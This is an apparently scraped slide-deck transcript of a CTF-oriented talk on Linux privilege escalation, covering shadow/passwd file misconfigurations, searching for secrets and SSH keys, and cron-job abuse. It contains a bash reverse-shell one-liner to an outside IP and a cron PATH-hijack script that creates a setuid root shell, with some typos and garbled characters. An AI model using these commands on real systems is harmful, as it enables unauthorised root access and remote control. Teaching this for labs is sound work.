![What Is Privesc?
Minimum functionality of a user (customer) to higher privilege user conversion (admin].
Linux Privesc:
When you try to exploit the webapp and get reverse shell (Linux machine) you will get www-data ïš which is a low privileged shell.
1.Horizontal Privilege
2.vertical Privilege
Horizontal Privesc:
Gaining access of User privilege ïš /home/vishal
This Privilege is which is equal to www-data, mostly we used it to find the Flag In CTFs like HTB.
Vertical Privesc:
Gaining access of root privilege from User priv.](https://image.slidesharecdn.com/linuxprivesc-221110012740-bf3fc02f/85/Linux-privesc-pptx-4-320.jpg)
Linux privesc.pptx
- 2. About Me: @VISHAL MOHAN @4+ YEARS OF EXP @INFORMATION SECURITY CONSULTANT @CVES. HOF, BOUNTIES
- 3. TODAYS TOPIC: âą FILE PERMISSION âą SECRETS âą CRONJOB ABUSE
- 4. What Is Privesc? Minimum functionality of a user (customer) to higher privilege user conversion (admin]. Linux Privesc: When you try to exploit the webapp and get reverse shell (Linux machine) you will get www-data ïš which is a low privileged shell. 1.Horizontal Privilege 2.vertical Privilege Horizontal Privesc: Gaining access of User privilege ïš /home/vishal This Privilege is which is equal to www-data, mostly we used it to find the Flag In CTFs like HTB. Vertical Privesc: Gaining access of root privilege from User priv.
- 5. FILE PERMISSION ïŒShadow File : users âPasswordsâ will be stored in this File. /etc/shadow ï World Readable ï read & crack the hash /etc/shadow ï World Writable ï Change the password for Root ïŒPassword File /etc/passwd ï World Writable ï change the hash for root user ï change the UID & GID By changing the hash value in password file, this passwd consider as a preference By changing the UID & GID as 0 , It consider as root user ïŒSudo Binay Abuse
- 6. SECRETS ï§ History Files ï§ Config Files ï§ SSH Keys History file After getting initial shell to the machine, always check home directories files and hidden files Configuration File In linux many services or 3rd party software may be running , You may find Passwords, Keys, API in it. SSH Keys One may find hidden directories Eg: /var/backups /opt find / -name authorized_keys 2> dev/null find / -name id_rsa 2> dev/null
- 7. CRON JOBS To perform task at scheduled time To check the userâs cronjob if any cronjob is created crontab âl cat /etc/crobtab bash -i >& /dev/tcp/10.2.12.26/4444 0>&1 1st line: shebang to denote interpreter, this case â bash 2nd line: bash -i to open an interactive shell, >& /dev/tcp/10.2.12.26/4444 to redirect all streams to our local machine and 0>&1 to redirect stdin and stdout to stdout To check the cronjobs in automated tool âpspyâ
- 8. Path Environment Variable Cat /etc/crontab Note that the PATH variable starts with /home/user which is our userâs home directory. Create a file called overwrite.sh in your home directory with the following contents: #!/Bin/bash cp /bin/bash /tmp/rootbash Chmod +xs /tmp/rootbash Ovewriting binbash to /tmp/rootbash Changed it to suit binary Wait for cronjob to run and to gain root prievelge run below /tmp/rootbash -p